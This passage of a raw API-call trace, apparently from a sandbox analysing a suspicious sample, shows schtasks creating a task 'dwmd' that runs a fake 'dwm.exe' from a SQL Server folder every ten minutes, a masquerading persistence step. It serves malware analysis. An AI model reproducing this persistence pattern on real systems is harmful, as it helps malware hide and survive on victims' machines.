(lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0105.229] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.229] lstrlenW (lpString="z") returned 1 [0105.230] lstrlenW (lpString="z") returned 1 [0105.230] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.230] lstrlenW (lpString="f") returned 1 [0105.230] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.230] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|z|") returned 3 [0105.230] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.230] lstrlenW (lpString="|z|") returned 3 [0105.230] lstrlenW (lpString="|f|") returned 3 [0105.230] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0105.230] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.230] lstrlenW (lpString="f") returned 1 [0105.230] lstrlenW (lpString="f") returned 1 [0105.230] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.230] lstrlenW (lpString="f") returned 1 [0105.230] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.230] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.230] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.230] lstrlenW (lpString="|f|") returned 3 [0105.230] lstrlenW (lpString="|f|") returned 3 [0105.230] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0105.230] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.230] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.230] GetProcessHeap () returned 0x2008f450000 [0105.230] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b900 [0105.230] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.231] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0105.231] lstrlenW (lpString="MINUTE") returned 6 [0105.231] GetProcessHeap () returned 0x2008f450000 [0105.231] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45a930 [0105.231] GetThreadLocale () returned 0x409 [0105.231] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0105.231] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.231] GetProcessHeap () returned 0x2008f450000 [0105.231] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x1fc) returned 0x2008f45acf0 [0105.231] GetProcessHeap () returned 0x2008f450000 [0105.231] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b540 [0105.231] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.231] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0105.231] lstrlenW (lpString="First") returned 5 [0105.231] GetProcessHeap () returned 0x2008f450000 [0105.231] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xc) returned 0x2008f45aa50 [0105.231] GetProcessHeap () returned 0x2008f450000 [0105.231] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b570 [0105.231] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.231] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0105.232] lstrlenW (lpString="Second") returned 6 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.232] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45aa30 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.232] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b810 [0105.232] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.232] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0105.232] lstrlenW (lpString="Third") returned 5 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.232] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xc) returned 0x2008f45ab90 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.232] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b9c0 [0105.232] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.232] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0105.232] lstrlenW (lpString="Fourth") returned 6 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.232] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45a9b0 [0105.232] GetProcessHeap () returned 0x2008f450000 [0105.258] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b6f0 [0105.258] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.258] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0105.258] lstrlenW (lpString="Last") returned 4 [0105.258] GetProcessHeap () returned 0x2008f450000 [0105.258] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xa) returned 0x2008f45a950 [0105.258] lstrlenW (lpString="10") returned 2 [0105.258] _wtol (_String="10") returned 10 [0105.259] GetProcessHeap () returned 0x2008f450000 [0105.259] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b8d0 [0105.259] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.259] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0105.259] lstrlenW (lpString="First") returned 5 [0105.259] GetProcessHeap () returned 0x2008f450000 [0105.259] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xc) returned 0x2008f45ab50 [0105.259] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.259] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0105.259] lstrlenW (lpString="Second") returned 6 [0105.259] GetProcessHeap () returned 0x2008f450000 [0105.259] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45ac30 [0105.259] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.259] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0105.259] lstrlenW (lpString="Third") returned 5 [0105.259] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.259] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0105.259] lstrlenW (lpString="Fourth") returned 6 [0105.259] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.259] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0105.259] lstrlenW (lpString="Last") returned 4 [0105.268] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcd0876c6d0, cchData=128 | out: lpLCData="0") returned 2 [0105.269] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.269] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0105.269] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0105.269] GetProcessHeap () returned 0x2008f450000 [0105.269] GetProcessHeap () returned 0x2008f450000 [0105.269] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45aa50) returned 1 [0105.269] GetProcessHeap () returned 0x2008f450000 [0105.270] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45aa50) returned 0xc [0105.270] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45aa50) returned 1 [0105.270] GetProcessHeap () returned 0x2008f450000 [0105.270] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x16) returned 0x2008f45ab10 [0105.270] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xcd0876c6f0, cchData=128 | out: lpLCData="0") returned 2 [0105.270] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.270] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0105.270] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0105.270] GetProcessHeap () returned 0x2008f450000 [0105.270] GetProcessHeap () returned 0x2008f450000 [0105.271] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45aa30) returned 1 [0105.271] GetProcessHeap () returned 0x2008f450000 [0105.271] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45aa30) returned 0xe [0105.271] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45aa30) returned 1 [0105.271] GetProcessHeap () returned 0x2008f450000 [0105.271] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x16) returned 0x2008f45abd0 [0105.271] GetLocalTime (in: lpSystemTime=0xcd0876c928 | out: lpSystemTime=0xcd0876c928*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1c, wMilliseconds=0x285)) [0105.272] lstrlenW (lpString="") returned 0 [0105.272] GetLocalTime (in: lpSystemTime=0xcd0876d318 | out: lpSystemTime=0xcd0876d318*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1c, wMilliseconds=0x285)) [0105.272] lstrlenW (lpString="") returned 0 [0105.272] lstrlenW (lpString="") returned 0 [0105.273] lstrlenW (lpString="") returned 0 [0105.273] lstrlenW (lpString="") returned 0 [0105.273] lstrlenW (lpString="10") returned 2 [0105.273] _wtol (_String="10") returned 10 [0105.273] lstrlenW (lpString="") returned 0 [0105.273] lstrlenW (lpString="") returned 0 [0105.273] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.294] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0105.440] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xcd0876d070 | out: ppv=0xcd0876d070*=0x2008f665700) returned 0x0 [0105.459] TaskScheduler:ITaskService:Connect (This=0x2008f665700, serverName=0xcd0876d160*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xcd0876d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xcd0876d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xcd0876d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0105.497] TaskScheduler:ITaskService:GetFolder (in: This=0x2008f665700, Path=0x0, ppFolder=0xcd0876d250 | out: ppFolder=0xcd0876d250*=0x2008f665880) returned 0x0 [0105.502] TaskScheduler:ITaskService:NewTask (in: This=0x2008f665700, flags=0x0, ppDefinition=0xcd0876d228 | out: ppDefinition=0xcd0876d228*=0x2008f665900) returned 0x0 [0105.502] ITaskDefinition:get_Actions (in: This=0x2008f665900, ppActions=0xcd0876d170 | out: ppActions=0xcd0876d170*=0x2008f665990) returned 0x0 [0105.502] IActionCollection:Create (in: This=0x2008f665990, Type=0, ppAction=0xcd0876d1b0 | out: ppAction=0xcd0876d1b0*=0x2008f665da0) returned 0x0 [0105.503] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.503] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.503] lstrlenW (lpString=" ") returned 1 [0105.503] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0105.503] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0105.503] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0105.504] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x51) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0105.504] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0105.504] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0105.505] IUnknown:Release (This=0x2008f665da0) returned 0x1 [0105.505] IUnknown:Release (This=0x2008f665990) returned 0x1 [0105.505] ITaskDefinition:get_Triggers (in: This=0x2008f665900, ppTriggers=0xcd0876cd20 | out: ppTriggers=0xcd0876cd20*=0x2008f665c50) returned 0x0 [0105.505] ITriggerCollection:Create (in: This=0x2008f665c50, Type=1, ppTrigger=0xcd0876cd08 | out: ppTrigger=0xcd0876cd08*=0x2008f665e10) returned 0x0 [0105.505] lstrlenW (lpString="10") returned 2 [0105.514] _vsnwprintf (in: _Buffer=0xcd0876cc90, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xcd0876cc88 | out: _Buffer="PT10M") returned 5 [0105.514] ITrigger:get_Repetition (in: This=0x2008f665e10, ppRepeat=0xcd0876cd00 | out: ppRepeat=0xcd0876cd00*=0x2008f665ea0) returned 0x0 [0105.515] IRepetitionPattern:put_Interval (This=0x2008f665ea0, Interval="PT10M") returned 0x0 [0105.515] IUnknown:Release (This=0x2008f665ea0) returned 0x1 [0105.515] _vsnwprintf (in: _Buffer=0xcd0876cc50, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xcd0876cc28 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0105.515] ITrigger:put_StartBoundary (This=0x2008f665e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0105.515] lstrlenW (lpString="") returned 0 [0105.515] lstrlenW (lpString="") returned 0 [0105.515] lstrlenW (lpString="") returned 0 [0105.515] lstrlenW (lpString="") returned 0 [0105.515] IUnknown:Release (This=0x2008f665e10) returned 0x1 [0105.515] IUnknown:Release (This=0x2008f665c50) returned 0x1 [0105.515] ITaskDefinition:get_Settings (in: This=0x2008f665900, ppSettings=0xcd0876d1b0 | out: ppSettings=0xcd0876d1b0*=0x2008f665ad0) returned 0x0 [0105.515] lstrlenW (lpString="") returned 0 [0105.515] IUnknown:Release (This=0x2008f665ad0) returned 0x3 [0105.515] GetLocalTime (in: lpSystemTime=0xcd0876d068 | out: lpSystemTime=0xcd0876d068*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1c, wMilliseconds=0x37f)) [0105.515] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0105.516] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xcd0876d080, nSize=0xcd0876d058 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xcd0876d058) returned 0x1 [0105.516] ITaskDefinition:get_RegistrationInfo (in: This=0x2008f665900, ppRegistrationInfo=0xcd0876d050 | out: ppRegistrationInfo=0xcd0876d050*=0x2008f665a10) returned 0x0 [0105.516] IRegistrationInfo:put_Author (This=0x2008f665a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0105.516] _vsnwprintf (in: _Buffer=0xcd0876d080, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xcd0876d018 | out: _Buffer="2023-09-19T17:15:28") returned 19 [0105.516] IRegistrationInfo:put_Date (This=0x2008f665a10, Date="2023-09-19T17:15:28") returned 0x0 [0105.516] IUnknown:Release (This=0x2008f665a10) returned 0x1 [0105.517] malloc (_Size=0x18) returned 0x2008f665f20 [0105.517] free (_Block=0x2008f665f20) [0105.517] lstrlenW (lpString="") returned 0 [0105.517] malloc (_Size=0x18) returned 0x2008f665f20 [0105.517] ITaskFolder:RegisterTaskDefinition (in: This=0x2008f665880, Path="dwmd", pDefinition=0x2008f665900, flags=6, UserId=0xcd0876d2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xcd0876d2a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xcd0876d2e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xcd0876d280 | out: ppTask=0xcd0876d280*=0x2008f666fd0) returned 0x0 [0105.602] free (_Block=0x2008f665f20) [0105.602] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.602] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0105.602] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0105.602] GetProcessHeap () returned 0x2008f450000 [0105.602] GetProcessHeap () returned 0x2008f450000 [0105.602] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ab90) returned 1 [0105.602] GetProcessHeap () returned 0x2008f450000 [0105.602] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ab90) returned 0xc [0105.602] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ab90) returned 1 [0105.602] GetProcessHeap () returned 0x2008f450000 [0105.602] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x82) returned 0x2008f475a70 [0105.602] _vsnwprintf (in: _Buffer=0xcd0876d930, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xcd0876d1c8 | out: _Buffer="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n") returned 66 [0105.602] __iob_func () returned 0x7ffa7941e210 [0105.603] _fileno (_File=0x7ffa7941e240) returned -2 [0105.603] _errno () returned 0x2008f660840 [0105.603] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0105.603] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.603] lstrlenW (lpString="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n") returned 66 [0105.603] GetConsoleOutputCP () returned 0x0 [0105.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0105.603] GetConsoleOutputCP () returned 0x0 [0105.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0105.603] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 66 [0105.603] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0105.604] IUnknown:Release (This=0x2008f666fd0) returned 0x0 [0105.604] TaskScheduler:IUnknown:Release (This=0x2008f665900) returned 0x0 [0105.604] TaskScheduler:IUnknown:Release (This=0x2008f665880) returned 0x0 [0105.604] TaskScheduler:IUnknown:Release (This=0x2008f665700) returned 0x0 [0105.604] lstrlenW (lpString="") returned 0 [0105.604] lstrlenW (lpString="10") returned 2 [0105.604] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0105.604] GetProcessHeap () returned 0x2008f450000 [0105.604] GetProcessHeap () returned 0x2008f450000 [0105.604] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45acf0) returned 1 [0105.604] GetProcessHeap () returned 0x2008f450000 [0105.604] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45acf0) returned 0x1fc [0105.605] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45acf0) returned 1 [0105.605] GetProcessHeap () returned 0x2008f450000 [0105.605] GetProcessHeap () returned 0x2008f450000 [0105.605] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454370) returned 1 [0105.605] GetProcessHeap () returned 0x2008f450000 [0105.605] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454370) returned 0x6 [0105.605] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454370) returned 1 [0105.605] GetProcessHeap () returned 0x2008f450000 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ab30) returned 1 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ab30) returned 0x16 [0105.606] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ab30) returned 1 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45aa90) returned 1 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45aa90) returned 0x18 [0105.606] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45aa90) returned 1 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b420) returned 1 [0105.606] GetProcessHeap () returned 0x2008f450000 [0105.606] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b420) returned 0x20 [0105.607] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b420) returned 1 [0105.607] GetProcessHeap () returned 0x2008f450000 [0105.607] GetProcessHeap () returned 0x2008f450000 [0105.607] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453e90) returned 1 [0105.607] GetProcessHeap () returned 0x2008f450000 [0105.607] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453e90) returned 0xa0 [0105.607] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453e90) returned 1 [0105.610] GetProcessHeap () returned 0x2008f450000 [0105.610] GetProcessHeap () returned 0x2008f450000 [0105.610] HeapValidate 